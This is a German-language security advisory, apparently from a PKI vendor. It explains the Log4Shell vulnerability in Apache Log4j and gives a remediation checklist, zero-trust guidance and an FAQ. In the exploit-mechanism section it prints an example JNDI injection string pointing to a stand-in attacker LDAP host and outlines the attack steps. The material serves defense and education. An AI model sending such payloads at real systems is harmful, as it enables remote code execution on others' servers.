Minimieren Sie die Risiken der Sicherheitsanfälligkeit bezüglich Remotecodeausführung in Apache Log4j

CVE-2021-44228, die im Dezember 2021 bekannt gewordene Remote-Code-Ausführungs-Schwachstelle (RCE) in Apache Log4j, entwickelte sich umgehend zu einer der am weitesten verbreiteten Sicherheitslücken in der Geschichte des Internets. Apache Log4j ist eine Java-Logging-Bibliothek, die auf schätzungsweise Hunderten Millionen Servern, Unternehmensanwendungen, Cloud-Diensten, Webanwendungen, E-Mail-Diensten und eingebetteten Geräten zum Einsatz kommt. Aufgrund dieser weiten Verbreitung war die Angriffsfläche nahezu universell: Jede Anwendung, die Benutzereingaben mit Log4j 2.x-Versionen vor 2.15.0 protokollierte, war potenziell gefährdet. Bereits wenige Stunden nach der Veröffentlichung begannen die ersten Angriffsversuche. Organisationen, die diese Schwachstelle noch nicht vollständig behoben haben, wird Folgendes empfohlen: Aktualisieren Sie alle Log4j 2.x-Instanzen auf Version 2.17.0 oder höher, suchen Sie nach transitiven Abhängigkeiten, die Log4j in Drittanbieterbibliotheken einbetten, und implementieren Sie die Prinzipien der Zero-Trust-Architektur. Diese reduzieren die Auswirkungen dieser Schwachstellenklasse unabhängig davon, ob die CVE-Schwachstelle bereits behoben wurde. Für einen umfassenderen Rahmen zur Reaktion auf Sicherheitsvorfälle siehe „ Erstellen Sie einen sicheren Notfallplan für Ihr Unternehmen“.

Kurzantwort: Was ist die Log4j-Sicherheitslücke und warum ist sie wichtig?

CVE-2021-44228, allgemein bekannt als Log4Shell, ist eine kritische Sicherheitslücke in Apache Log4j 2.x, die die Ausführung von Remote-Code ermöglicht und mit 10.0 den höchstmöglichen CVSS-Wert erreicht hat. Sie erlaubt es einem nicht authentifizierten Angreifer, beliebigen Code auf einem anfälligen Server auszuführen, indem er Log4j dazu bringt, eine speziell präparierte Zeichenkette mit einer JNDI-Lookup-URL (Java Naming and Directory Interface) zu protokollieren. Der Angreifer kontrolliert, wohin die JNDI-Lookup-URL aufgelöst wird, und veranlasst den anfälligen Server so, eine schädliche Java-Klassendatei von einem vom Angreifer kontrollierten Server herunterzuladen und auszuführen. Da Log4j in einer Vielzahl von Anwendungen eingebettet ist – sowohl direkt als auch als transitive Abhängigkeit in Drittanbieterbibliotheken –, waren praktisch alle Java-basierten Anwendungen betroffen, die Log4j 2.x bis einschließlich Version 2.14.1 verwendeten.

Was ist Log4j?

Apache Log4j ist eine Open-Source-Logging-Bibliothek, die in nahezu jeder Umgebung, in der Java-Anwendungen eingesetzt werden, weit verbreitet ist. Dazu gehören Unternehmensanwendungen, Cloud-Dienste, Webanwendungen, E-Mail-Dienste und Open-Source-Software. Die Bibliothek dient der Protokollierung von Sicherheits- und Leistungsdaten und zeichnet Ereignisse auf, die während der Anwendungsausführung auftreten, um Debugging, Auditing und die Betriebsüberwachung zu ermöglichen. Da Logging eine grundlegende Funktion fast jeder Anwendung ist, wurde Log4j nicht nur in Anwendungen integriert, die es direkt als Abhängigkeit deklarierten, sondern auch in unzählige andere Bibliotheken und kommerzielle Produkte, die von diesen Anwendungen eingebunden wurden. Diese vielschichtige Einbettung machte die vollständige Behebung von CVE-2021-44228 so schwierig: Unternehmen konnten sich nicht darauf verlassen, Log4j nur im eigenen Code zu finden; sie mussten es in jeder Bibliothek identifizieren, von der ihre Anwendungen abhingen.

Was ist das Problem? Der JNDI-Exploit-Mechanismus

Die Schwachstelle nutzt JNDI-Abfragen (Java Naming and Directory Interface), die in der Standardkonfiguration von Log4j 2.x aktiviert sind. JNDI ist eine Java-API, mit der Clients Daten und Objekte in verschiedenen Verzeichnis- und Namensdiensten wie LDAP (Lightweight Directory Access Protocol), DNS (Domain Name System) und RMI (Remote Method Invocation) abrufen können. Die API verwendet einen String als Eingabeparameter, der von einem Angreifer missbraucht werden kann, um beliebigen Code auszuführen. Log4j bereinigt Eingabeparameter nicht, sodass ein Angreifer einen String bereitstellen kann, mit dem eine entfernte Java-Klassendatei geladen und aufgerufen wird. Ein Angreifer, der die Protokollmeldungen kontrollieren kann, kann bei aktivierter Nachrichtensubstitution entfernten Code von LDAP-Servern ausführen und so die vollständige Kontrolle über den betroffenen Server erlangen. Die Ausnutzung dieser Schwachstelle erfolgt durch folgende Schritte:

• Ein Angreifer erstellt eine speziell präparierte Zeichenkette, die die schädliche Nutzlast enthält, und sendet diese an ein anfälliges System. Diese Zeichenkette kann in jedes beliebige Feld eingefügt werden, das vom System protokolliert wird, beispielsweise:
  • User Agent
  • Benutzername
  • Gerätename oder E-Mail-Adresse
• Die Zeichenkette verweist auf einen vom Angreifer kontrollierten LDAP- oder DNS-Server, wie zum Beispiel:

  ${jndi:ldap://evil-hack.com/a}.

  Diese Zeichenkette wird dann zur Protokollierung an Log4j gesendet.

• Das anfällige System verwendet JNDI, um den vom Angreifer kontrollierten LDAP- oder DNS-Server abzufragen.
• Der vom Angreifer kontrollierte LDAP- oder DNS-Server antwortet mit einer entfernten Java-Klassendatei (exploit.class).
• Die Java-Klasse wird heruntergeladen und auf dem anfälligen System ausgeführt, wodurch der Angreifer beliebigen Code ausführen kann.

Schwere des Problems

Die Auswirkungen von CVE-2021-44228 waren aufgrund der Art der Schwachstelle und der nahezu universellen Verbreitung von Log4j sehr weitreichend. Die Schwachstelle wurde innerhalb weniger Stunden nach ihrer Veröffentlichung ausgenutzt, und die Angriffe nahmen rasant zu. Um die Schwachstelle auszunutzen, muss ein Angreifer lediglich das Zielsystem dazu veranlassen, eine speziell präparierte Nachricht zu protokollieren: Der Exploit kann über jedes Eingabefeld ausgelöst werden, das einen Log4j-Logger erreicht, einschließlich HTTP-Header, Formularfelder, Benutzernamen und Suchanfragen. Angreifer nutzten diese Schwachstelle intensiv für Kryptowährungs-Mining und die Verbreitung anderer Arten von Malware und Ransomware. Staatliche Akteure begannen kurz nach der Veröffentlichung, die Schwachstelle auszunutzen, und die Angriffe blieben wochenlang auf hohem Niveau.

Sicherheitsexperten warnten, dass die Schwachstelle aufgrund des Java-Paketierungsmodells tief in Anwendungen verborgen sein und von oberflächlichen Scannern nur schwer erkannt werden könne. Ein Produkt könne beispielsweise deshalb angreifbar sein, weil eine seiner Abhängigkeiten von einer anderen Bibliothek abhänge, die wiederum Log4j einbinde, ohne dass im Abhängigkeitsmanifest des Produkts selbst ein direkter Verweis auf Log4j sichtbar sei. Die Schwachstelle sei sowohl unter Windows als auch unter Linux ausnutzbar und betreffe sowohl Cloud- als auch On-Premises-Bereitstellungen.

Wie Sie das Risiko minimieren: Priorisierte Checkliste für Abhilfemaßnahmen

Eine Organisation kann diese Empfehlungen zur Behebung dieser Schwachstelle befolgen, geordnet nach Priorität:

• Setzen Sie Scan-Tools und -Skripte ein, um alle Anwendungen und Systeme zu identifizieren, die anfällige Log4j-Versionen verwenden, einschließlich transitiver Abhängigkeiten in Drittanbieterbibliotheken; verlassen Sie sich nicht allein auf die Abhängigkeitsmanifeste der Originalbibliothek.
• Aktualisieren Sie alle Log4j 2.x-Instanzen auf Version 2.17.0 oder höher (für Java 8-Umgebungen) bzw. auf die neueste mit Ihrer Java-Version kompatible Version; beachten Sie, dass Version 2.15.0 nur eine unvollständige Fehlerbehebung enthielt und daher ersetzt wurde.
• Als Sofortmaßnahme, falls ein Patch noch nicht möglich ist, entfernen Sie die JndiLookup-Klasse mit folgendem Befehl aus dem Klassenpfad: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
• Installieren Sie umgehend Sicherheitspatches für alle öffentlich zugänglichen Anwendungen und Systeme; installieren Sie Patches für interne Anwendungen und Systeme so schnell wie möglich, wobei diejenigen mit externer Netzwerkanbindung Priorität haben.
• Überprüfen Sie die Netzwerkprotokolle auf Anzeichen einer Kompromittierung, einschließlich ausgehender LDAP- oder DNS-Anfragen an unerwartete externe Hosts, die von Anwendungsservern ausgehen.
• Wenn Sie eine Web Application Firewall (WAF) verwenden, sollten Sie Regeln bereitstellen oder aktivieren, die Log4j-Exploit-Strings in HTTP-Headern, Anfragetexten und URL-Parametern erkennen und blockieren.
• Schwachstellen sollen durch Netzwerksegmentierung isoliert werden, um eine seitliche Ausbreitung zu verhindern, falls es vor Abschluss der Sicherheitslücken zu einer Ausnutzung kommt.
• Überwachen Sie verdächtige Aktivitäten, insbesondere Anwendungen, die unerwartete Remote-Verbindungen herstellen, vor allem LDAP- oder RMI-Verbindungen zu externen Hosts.
• Prüfen Sie die Herstellerhinweise für alle Drittanbietersoftware und -geräte in Ihrer Umgebung; viele kommerzielle Produkte enthalten Log4j und erfordern vom Hersteller bereitgestellte Patches anstelle von direkten Patches.
• Implementieren Sie die Prinzipien der Zero-Trust-Architektur als langfristigen Schutz gegen diese Art von Schwachstelle.

Zero-Trust-Architektur: Die langfristige Verteidigung

Ein wichtiges Element aller Malware-Angriffe, einschließlich der Ausnutzung von Log4j, ist, dass Angreifer die eigenen Anwendungen und Systeme des Unternehmens gegen dieses verwenden. Unternehmen sollten die Implementierung einer Zero-Trust-Architektur in Betracht ziehen, um die Auswirkungen dieser Schwachstelle zu minimieren. Zero Trust ist ein Ansatz, der ein Unternehmen sichert, indem er implizites Vertrauen ablehnt und jede Anfrage kontinuierlich validiert. Er basiert auf dem Prinzip „Niemals vertrauen, immer prüfen“: Jede Zugriffsanfrage wird authentifiziert, autorisiert und verschlüsselt, bevor der Zugriff auf die Ressource gewährt wird. Die Zero-Trust-Architektur basiert auf drei Schlüsselprinzipien:

1. Überprüfen Sie explizit:

   Anfragen müssen stets anhand der Benutzeridentität, des Geräts, des Standorts, des Dienstes, der Arbeitslast und weiterer Parameter authentifiziert und autorisiert werden. Im Kontext von Log4j bedeutet dies, dass ein Angreifer, selbst wenn er Code auf einem System ausführen kann, nicht automatisch auf benachbarte Systeme zugreifen kann, ohne auch deren Authentifizierungsanforderungen zu erfüllen.

2. Verwenden Sie die geringsten Berechtigungen:

   Beschränken Sie den Zugriff auf die Ressourcen, die für die jeweilige Funktion jedes Systems oder Benutzers erforderlich sind. Nutzen Sie risikobasierte Richtlinien und Datenschutzmaßnahmen, um Daten und Systeme zu sichern. Eine durch Log4j kompromittierte Anwendung, die nur über die für ihre Funktion erforderlichen Zugriffsrechte verfügt, kann nicht missbraucht werden, um auf sensible Datenbanken oder Anmeldeinformationsspeicher zuzugreifen, die außerhalb ihres erforderlichen Zugriffsbereichs liegen.

3. Gehen Sie von einem Verstoß aus und überprüfen Sie jede Aktivität:

   Nutzen Sie Analysetools, um die Aktivitäten in Netzwerk, System und Anwendung transparent zu halten, und verwenden Sie Anomalieerkennung, um die für Angriffe nach einer Kompromittierung typischen Muster der lateralen Bewegung und der Befehls- und Kontrollkommunikation zu identifizieren. Gehen Sie davon aus, dass jedes System kompromittiert sein kann, und überwachen Sie es entsprechend.

Identität ist zum neuen Netzwerkperimeter geworden, und die Überprüfung dieser Identitäten ist zentral für die Zero-Trust-Architektur. Anstelle der Identifizierung anhand der IP-Adresse basiert die Identitätsprüfung auf der Verifizierung von Benutzern und Systemen mithilfe von Identitäts- und Zugriffsmanagement (IAM), Multi-Faktor-Authentifizierung (MFA) und Public-Key-Infrastruktur (PKI). Organisationen können PKI nutzen , um digitale Zertifikate für Benutzer, Maschinen, Webanwendungen und mobile Geräte auszustellen und so eine sichere, verifizierte Netzwerkauthentifizierung zu gewährleisten. Daten müssen sowohl im Ruhezustand als auch während der Übertragung geschützt werden, weshalb die Verschlüsselung ein wichtiger Bestandteil der Zero-Trust-Implementierung ist. PKI ermöglicht es einer Organisation, Maschinenidentitäten festzulegen und die Kommunikation zwischen Systemen zu verschlüsseln. Weitere Informationen zu PKI-Diensten finden Sie unter PKI-as-a-Service.

Update-Protokoll

Datum	Update
December 9, 2021	CVE-2021-44228 wurde öffentlich bekanntgegeben; Apache Log4j 2.15.0 wurde mit einer ersten Korrektur veröffentlicht, die JNDI-Lookups standardmäßig deaktiviert.
December 13, 2021	CVE-2021-45046 wurde einer unvollständigen Behebung in Version 2.15.0 unter bestimmten Konfigurationen zugeordnet; Apache Log4j 2.16.0 wurde veröffentlicht und deaktiviert JNDI standardmäßig vollständig.
December 18, 2021	CVE-2021-45105 (Denial-of-Service-Angriff) zugewiesen; Apache Log4j 2.17.0 veröffentlicht
December 28, 2021	CVE-2021-44832 (RCE, falls ein Angreifer die Log4j-Konfiguration kontrolliert) zugewiesen; Apache Log4j 2.17.1 veröffentlicht
Januar 2022	Die Ausnutzungsversuche hielten in hohem Umfang an; mehrere staatliche Akteure bestätigten die Ausnutzung der Sicherheitslücke.
September 2026 (dieses Update)	Die Inhalte wurden um zusätzliche technische Details, Hinweise zur Erkennung, eine priorisierte Checkliste für die Behebung von Mängeln, ein Aktualisierungsprotokoll und einen FAQ-Bereich als fortlaufende Referenz aktualisiert.

Fazit

Unternehmen müssen die Sicherheit ihrer Systeme und Anwendungen gegen Schwachstellen wie CVE-2021-44228 stärken. Der wirksamste Schutz ist die Zero-Trust-Architektur: Sie lehnt implizites Vertrauen ab und validiert jede Anfrage kontinuierlich. Für Systeme, die noch anfällige Versionen von Log4j verwenden, ist das Patchen von Log4j dringend erforderlich. Die wichtigste Erkenntnis aus dem Log4Shell-Fall ist jedoch, dass weit verbreitete, tief eingebettete Komponenten nahezu universelle Angriffsflächen mit minimalem Vorwarnwert schaffen können. Unternehmen, die sich ausschließlich auf Perimeterverteidigung verlassen, sind daher bei der Ausnutzung einer Schwachstelle in einer grundlegenden Komponente stets dem vollen Ausmaß eines Angriffs ausgesetzt. Die Implementierung einer PKI-basierten Maschinenidentitätsprüfung und die Durchsetzung des Prinzips der minimalen Berechtigungen im gesamten Netzwerk stellen sicher, dass die Ausnutzung eines Systems nicht automatisch zu einer vollständigen Netzwerkkompromittierung führt. Encryption Consulting bietet PKI-Implementierungs- und Management-Services für Unternehmen, die eine Zero-Trust-Architektur aufbauen. Besuchen Sie www.encryptionconsulting.com , um zu erfahren, wie wir Ihr Unternehmen unterstützen können.

Häufig gestellte Fragen

Was ist CVE-2021-44228 (Log4Shell) und warum war es so schwerwiegend?

CVE-2021-44228 (Log4Shell) ist eine kritische Sicherheitslücke in Apache Log4j 2.x, die die Ausführung von Remote-Code ermöglicht und mit 10.0, der höchstmöglichen CVSS-Bewertung, ausgezeichnet wurde. Sie erlaubt es einem nicht authentifizierten Angreifer, beliebigen Code auf dem betroffenen Server auszuführen, indem sie Log4j dazu bringt, eine speziell präparierte JNDI-Lookup-Zeichenkette zu protokollieren. Die hohe Schwere der Sicherheitslücke spiegelt die nahezu universelle Verbreitung von Log4j, die einfache Ausnutzbarkeit (jedes protokollierte, vom Benutzer festgelegte Feld kann die Schwachstelle auslösen) und die umfassende Kontrolle des Angreifers nach erfolgreicher Ausnutzung wider.

Welche Versionen von Apache Log4j sind von CVE-2021-44228 betroffen?

CVE-2021-44228 betrifft Log4j 2.x-Versionen von 2.0-beta9 bis 2.14.1. Version 2.15.0 enthielt zwar einen ersten Fix, dieser war jedoch unter bestimmten Konfigurationen unvollständig (CVE-2021-45046). Version 2.16.0 deaktivierte JNDI standardmäßig vollständig. Unternehmen mit Java 8 sollten auf Version 2.17.0 oder höher aktualisieren. Log4j 1.x ist von CVE-2021-44228 nicht betroffen, weist jedoch separate, ungepatchte Sicherheitslücken auf und wird nicht mehr unterstützt.

Wie kann eine Organisation feststellen, ob sie anfällige Log4j-Versionen verwendet?

Organisationen sollten mehrere Methoden anwenden: SBOMs und Abhängigkeitsmanifeste nach direkten Log4j-Referenzen durchsuchen; Tools zur Software-Kompositionsanalyse (SCA) für transitive Abhängigkeiten verwenden; Dateisysteme nach Log4j-JAR-Dateien anhand von Name und Version durchsuchen; netzwerkbasierte Erkennung verwenden, die Test-JNDI-Zeichenketten sendet und ausgehende LDAP- oder DNS-Abfragen überwacht; und die Herstellerangaben für alle Drittanbietersoftware in der Umgebung überprüfen.

Warum verringert die Zero-Trust-Architektur die Auswirkungen von Sicherheitslücken der Log4j-Klasse?

Zero Trust beseitigt das implizite Vertrauen, das eine erfolgreiche Ausnutzung einer Sicherheitslücke zu einer vollständigen Netzwerkkompromittierung ermöglicht. Explicitly Verify erfordert eine Authentifizierung für jede systemübergreifende Anfrage, sodass eine kompromittierte Anwendung nicht automatisch auf benachbarte Ressourcen zugreifen kann. Use Least Privilege beschränkt den Wirkungsbereich auf die Zugriffsrechte des kompromittierten Systems. Assume Breach setzt Überwachungsmechanismen ein, die laterale Bewegungen und C2-Kommunikationsmuster erkennen, die typisch für Aktivitäten nach einer erfolgreichen Ausnutzung einer Sicherheitslücke sind.

Welcher Zusammenhang besteht zwischen PKI, digitalen Zertifikaten und Log4j-Sicherheitsvorkehrungen?

PKI und digitale Zertifikate sind im Kontext der Zero-Trust-Architektur für die Absicherung von Log4j relevant. Zero Trust erfordert die Authentifizierung jeder Zugriffsanfrage. PKI stellt den kryptografischen Mechanismus bereit: Zertifikate, die Benutzern, Maschinen und Anwendungen ausgestellt werden, etablieren die Identität und ermöglichen die verschlüsselte, authentifizierte Kommunikation zwischen Systemen. Eine Umgebung, in der jede Verbindung zwischen Diensten ein gültiges Zertifikat erfordert, verhindert, dass ein kompromittiertes Log4j-System seine Codeausführung nutzt, um auf andere interne Systeme zuzugreifen, ohne ebenfalls über gültige Zertifikate für diese Systeme zu verfügen.